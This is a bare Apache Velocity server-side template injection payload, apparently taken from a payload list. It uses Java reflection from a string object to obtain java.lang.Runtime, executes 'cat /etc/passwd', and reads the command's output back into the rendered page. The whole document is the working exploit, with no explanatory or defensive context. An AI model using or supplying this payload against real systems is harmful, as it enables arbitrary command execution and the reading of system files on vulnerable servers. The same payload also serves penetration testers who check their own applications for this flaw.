#set($engine="")
#set($run=$engine.getClass().forName("java.lang.Runtime"))
#set($runtime=$run.getRuntime())
#set($proc=$runtime.exec("cat /etc/passwd"))
#set($null=$proc.waitFor())
#set($istr=$proc.getInputStream())
#set($chr=$engine.getClass().forName("java.lang.Character"))
#set($output="")
#set($string=$engine.getClass().forName("java.lang.String"))
#foreach($i in [1..$istr.available()])
#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
#end
$output